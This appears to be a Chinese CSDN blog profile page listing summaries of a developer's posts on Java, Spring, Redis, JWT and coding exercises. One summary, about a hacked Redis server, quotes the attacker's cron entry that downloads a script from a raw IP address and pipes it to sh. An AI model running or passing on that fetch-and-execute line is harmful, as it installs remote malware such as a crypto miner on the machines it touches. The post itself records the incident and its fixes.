自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(49)
  • 收藏
  • 关注

原创 Spring不是引入了三级缓存,解决了循环依赖的问题吗?

其实,在 Spring 2.6 开始,默认已经不开启对循环依赖的支持了,如果想要开启对循环依赖的支持,需要在配置文件中加入。或者用springboot2.6版本以下的。

2024-08-27 22:03:02 201

原创 redis核心数据结构源码分析

在 Redis 的实现中,当一个键值对被创建并存储时,键通常是一个字符串,而值则是一个。因此,在dictEntry结构中,key成员指向的是一个字符串,而v.val成员则指向一个。这意味着,当你在 Redis 中存储一个值时,你实际上是在字典中插入一个dictEntry,其中dictEntry的值部分指向一个包含实际数据和元数据的。

2024-08-24 22:35:54 889

原创 SpringBoot整合Junit单元测试(解决空指针异常)

java.lang.NullPointerException

2024-08-17 12:19:11 347

原创 手写redis分布式锁

1.独占性:任何时候有且仅有一个线程持有锁2.放死锁:有超时控制机制或撤销操作,得有个释放锁的兜底方案3.不乱抢:不能张冠李戴,不能unlock别人加的锁4.可重入性:自己加的锁自己还可以再次获得基于setnx命令实现分布式锁,setnx成功返回1,失败返回0。

2024-07-11 11:23:41 318

原创 jmeter安装后你可能会用到的

1.汉化2.界面重叠bug

2024-07-10 19:31:09 203

原创 双向链表+Map实现LRU

LRU是Least Recently Used的缩写,即最近最少使用,是一种常用的,选择最近最久未使用的页面予以淘汰。

2024-07-09 09:10:39 351

原创 设计模式之单例模式(Java)

在序列化的过程中,只是将枚举对象的名字(即枚举常量的名字)写入到序列化文件中;这保证了在反序列化过程中无论如何都只会得到枚举中定义的枚举常量,而不会重新创建新的对象。因此,枚举类型的单例模式在反序列化过程中也能保持单例的状态,不会被破坏。解决方法只需要在单例类里加上一个readResolve()方法即可,原因就是在反序列化的过程中,会检测readResolve()方法是否存在,如果存在的话就会反射调用readResolve()这个方法。枚举类型的构造器是私有的,并且编译器会确保枚举常量只能被实例化一次。

2024-07-06 21:45:20 528

原创 缓存与数据库数据一致性问题

还是前面的例子,一个读线程从缓存中没有查到值,然后查数据库查到10,这时候恰好一个写线程删缓存更新数据库为20,然后读线程更新缓存为10。如果读写次序是:读线程先读缓存,缓存没有,查数据库值假如为10,这时候更新缓存和数据库的写操作执行了写数据库和缓存为20,然后读线程接着又更新缓存它从数据库查到的10。在用了redis缓存的系统中,正常情况下,一个读操作会先查缓存,如果在缓存中查到了,则直接返回,如果缓存中没有,则会查数据库,再将查到的数据写到redis中,然后返回。所以更新缓存就不太行。

2024-07-05 17:56:49 518

原创 MySQL xxx 是保留关键字,应加引号!

sql语句中的保留关键字要加引号,这个引号是`(esc键下面的)而不是'

2024-04-25 20:48:46 115

原创 记录第一次云服务器redis被黑

redis里莫名奇妙被写入四个键值对,backup1,backup2,backup3,backup4,内容是奇奇怪怪的sh脚本:*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh。施展百度大法后发现原来被挖矿了.....(redis明明设置了密码.....)解决办法:设置更复杂的redis连接密码,安全组,防火墙。

2024-04-24 21:30:40 294

原创 使用idea 调试HashMap时出现ExpiringCache

调试HashMap源码验证是在第一次put才创建table时,发现刚new出来HashMap表的size已经有值了?!!而且都是关于ExpiringCache之类的。

2024-04-06 19:30:26 250 1

原创 黑马学成在线项目bug记录

No converter found for return value of type: class com.xuecheng.base.model.PageResultIllegal DefaultValue null for parameter type integer

2023-12-19 21:09:19 427

原创 【Java】构建哈夫曼树和输出哈夫曼编码

一个单位有12个部门,每个部门都有一部电话,但是整个单位只有一根外线,当有电话打过来的时候,由转接员转到内线电话,已知各部门使用外线电话的频率为(次/天):5 20 10 12 8 43 5 6 9 15 19 32。利用哈夫曼树算法思想设计内线电话号码,使得接线员拨号次数尽可能少。要求:(1)依据使用外线电话的频率构造二叉树;(2)输出设计出的各部门内线电话号码。

2023-12-09 17:29:17 567

原创 【Java】构建表达式二叉树和表达式二叉树求值

1. 实现一个简单的计算器。通过键盘输入一个包含圆括号、加减乘除等符号组成的算术表达式字符串,输出该算术表达式的值。要求:(1)系统至少能实现加、减、乘、除等运算;(2)利用二叉树算法思想求解表达式的值,先构造由表达式构成的二叉树,按中序、后序遍历的方式输出二叉树中的结点,然后再利用通过对二叉树进行后序遍历求解算术表达式的值。

2023-12-09 17:10:53 859

原创 【Java】中缀表达式转后缀表达式和后缀表达式四则运算求值(栈)

实现一个简单的计算器,输入一个算术表达式,其运算符包含圆括号、加、减、乘、除、求余等符号,输出该算术表达式的值。要求:(1)系统至少能实现加、减、乘、除、求余等运算;(2)利用栈的后进先出特性实现;

2023-11-24 11:39:09 551

原创 this=this.next?

越看越别扭,我就想:如果一个结点对象调用了一个方法,在该方法中执行了this=this.next,从该方法中出来会怎么样?这个对象变量引用的对象会是下一个结点?)时想将当前对象引用指向下一个结点,脑子一抽写了这么一行代码:this=this.next;,代表当前对象的引用,它是不可修改的。因此,你不能改变它的引用。问题背景:一天,在刷链表算法题(

2023-10-27 21:58:31 69

原创 在Java中,二维数组在内存空间是一个的连续地址空间吗

二维数组实际上是一个包含其他数组的数组,每一行在内存地址上连续的,而每行的内存地址。例如:以下代码将创建一个3x4的二维数组。,它们通常存储在连续的内存地址空间中。

2023-10-25 21:28:25 554

原创 cmd的cd命令进入不了目录

总之,主要区别在于 `cd /d` 允许你在不同的驱动器之间切换目录,而普通的 `cd` 命令不允许这样做。所以,如果你需要切换到不同驱动器的目录,应该使用 `cd /d` 命令。- 如果要在不同的驱动器之间切换目录,必须先使用驱动器字母,然后使用 `cd` 命令,如:`cd D:\Folder`。- 你可以使用 `cd /d` 来切换到不同驱动器的目录,例如:`cd /d D:\Folder`。- `cd /d` 命令与普通的 `cd` 命令不同,它允许你不仅改变目录,还可以改变驱动器。

2023-10-15 22:26:23 4986 1

原创 JWT学习之用Java手写JWT

JSON Web 令牌 (JWT) 是一种开放标准 (RFC 7519),它定义了一种紧凑且独立的方式,用于在各方之间以 JSON 对象的形式安全地传输信息。此信息可以验证和信任,因为它是经过数字签名的。JWT 可以使用密钥(使用HMAC算法)或使用RSA或ECDSA的公钥/私钥对进行签名。尽管 JWT 可以加密以提供各方之间的保密性,但我们将专注于签名令牌。签名令牌可以验证其中包含的声明的完整性,而加密令牌则向其他方隐藏这些声明。

2023-10-08 12:40:21 132

原创 Java中创建、验证JWT

首先导入JWT的依赖,在官网选择一个使用即可

2023-10-08 11:38:51 229

原创 Java中Lambda 表达式改写规则

Lamada表达式的目标类型必须是函数式接口,不能是抽象类。省略规则:

2023-10-06 20:54:01 71

原创 Java中的求值策略(值传递)和C++中的引用传递、地址传递又有什么不同?

当你将一个基本数据类型(如int、float、char等)作为参数传递给方法时,实际上是将该变量的值拷贝传递给方法内部。这意味着在方法内部对参数的修改不会影响到原始变量。................如果是C++中的地址传递,那在本例中输出结果将为2。node1就指向了链表中第二个结点。(注意理解和体会引用传递,地址传递的含义和区别)

2023-10-06 20:49:50 324

原创 中缀表达式转前缀表达式和中缀表达式转后缀表达式(利用栈实现)

1.创建两个空栈,一个用于操作符(Operator Stack),一个用于输出结果(Output Stack)2.对中缀表达式从右到左,一次遍历:3.i.如果是操作数,则压入Output栈ii.如果是运算符:a.如果当前Operator栈为空或该运算符为),则压入Output栈b.如果该运算符为(,则去匹配),将匹配过程中的所有运算符依次弹出并压入Output栈(弹出一个压入一个)。并将这两个括号舍弃c.否则如果该运算符优先级栈顶元素运算符优先级,则压入Output栈。

2023-09-24 18:52:51 129

原创 【Spring】AOP 面向切面编程-环绕通知 你可能不知道的细节

Null return value from advice does not match primitive return type for

2023-07-29 17:03:08 249

原创 报错:java.lang.ClassNotFoundException: org.apache.commons.fileupload.FileItemFactory

但是明明已经正确地导入了commons-io-1.4.jar和commons-fileupload-1.2.1.jar。解决办法:将这两个jar包再放到Tomcat文件夹的lib文件夹里

2023-07-08 11:43:03 576

原创 无法在jsp文件中使用out.write()原因

没有导入相应的jar包,导入Tomcat的lib文件夹下的这个jar包即可。

2023-07-05 13:21:01 204 1

原创 Servlet:部署工件时出错。请参阅服务器日志了解详细信息

仔细再看,原来是@WebServlet的urlPatterns参数写错了少了个/,也就是得将Test_Servlet改为。下面是Servlet类的源代码。

2023-05-27 15:23:33 1701

原创 如何配置Java的环境变量

再点新建,名称为:%JAVA_HOME%\bin。4.最后一步步点确定即可。

2023-04-09 23:09:21 1438

原创 初学Java小细节自总

如果子类的构造方法中没有显示地调用父类的构造方法,那么Java编译器会自动在子类的构造方法中插入一条默认的语句,来调用父类的无参构造方法。因此,如果父类没有提供无参构造方法,而子类的构造方法中又没有显式地调用父类的其他构造方法,那么编译就会失败。 如果子类的构造方法中显式地调用了父类的其他构造方法,那么编译器就不会再自动插入语句了。此时,调用父类的构造方法必须放在子类构造方法的第一行,并且必须使用语句来调用。

2023-03-21 22:21:09 68 1

原创 zzulioj 1185: 添加记录(结构体专题)

有一学生成绩表,包括学号、姓名、3门课程成绩。已知该成绩表按学号升序排序。请编程实现,添加一个新的学生信息,且使成绩表仍按学号有序;若待添加的学号与已有学号重复,则输出错误信息,拒绝添加。然后输入n行,每行包含一个学生的信息:学号(12位)、姓名(不含空格且不超过20位),以及3个整数,表示3门课成绩,数据之间用空格隔开。若待添加的学号与已有学号重复,则输出只有一行“error!否则,输出n+1行,即添加后的成绩单信息。最后一行输入一个待添加的学生信息,包括学号、姓名和3门课成绩。

2023-02-04 16:17:26 256

原创 【Java】初学instanceof

这样以来在类型转换时,例如:Cat cat=(Cat)animal;如果直接转换就会出现类型转换异常(运行时报错,编译时没有),这时就可以用instanceof判断一下:if(animal instanceof Cat) Cat cat=(Cat)animal;以上在编译阶段都没有报错, 但如果判读与之毫无相关的类例如animal instanceof Computer在编译时就会报错。

2023-02-04 13:44:12 73

原创 总结java中关于继承中的成员属性和成员方法的多态细节

左右就是构造对象时等号两边((Animal animal=new Dog();))的Animal、Dog,这个时候再编译阶段就会报错:无法解析符号 'eat'(因为编译阶段看的是左边,左边父类中没有eat方法)那如果左边父类中有eat 方法,而右边子类中没有eat,在执行时会怎么样?这时idea就会报出这样的错误: 无法解析符号 'age'问题背景:下面的代码会输出什么?

2023-02-02 16:26:52 158

原创 zzulioj1168(账单)

第一行是整数n (n

2023-01-18 17:11:29 88

原创 C语言反思提醒自己

当键入07时,a中存的是7,自动舍弃前导0。

2023-01-17 16:20:52 59

原创 C语言反思提醒自己

这样将不能正确返回字符串s,因为在离开fun 函数后该内存空间将不再存在,应该使用malloc函数申请内存,该函数申请的是静态内存,只要不用free函数释放或程序结束运行该内存就一直存在。

2023-01-17 15:36:47 49

原创 zzulioj1152: 二分搜索

对于每一次查找,有一行输出。若序列中存在要查找的元素x,则输出元素x在序列中的序号(序号从0开始);若序列中不存在要查找的元素x,则输出"Not found!首先输入一个正整数n(n

2022-12-30 15:04:07 92

原创 zzulioj1150

小明的老师给小明出了一道题目:数数一篇文章出现了多少个数字,请你帮帮他吧。输入一个字符串,由空格、英文字母、数字组成,以回车结束,长度小于1000。输出整数个数(不是数字字符个数哦)。注意:010是两个数字,0和10。这是oj给的错误提示。

2022-12-27 15:28:17 355 1

原创 c学习笔记

指针之间可以比较大小,前提是两个指针指向同一数组如char a[20];char *p1=a+1;char *p2=a+2;则p2>p1

2022-12-12 20:35:53 79

原创 switch语句每个csse后面可以跟多个值吗

如果今天是星期三,后天就是星期五;如果今天是星期六,后天就是星期一。我们用数字1到7对应星期一到星期日。给定某一天,请你输出那天的“后天”是星期几。

2022-12-01 11:44:05 1300 1

原创 C语言swith语句小细节

1.swtich()中的“()”里的数据只能为整形或字符型,不能为浮点型!2.swith(x){case 1:语句1; case 2:语句2; case 3 :语句3;break; case 4 :语句4; }当x值为1时,会执行语句1和语句2!直到遇到break才跳出swith语句。

2022-09-27 15:08:14 202

zzulioj部分题目答案(1101~1187、2113)

郑州轻工业大学在线评测系统(ZZULIOJ)部分答案。大一上学期自己做的,全部是c语言实现,不一定是最优解仅供参考。希望可以帮助到大家。

2023-10-07

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除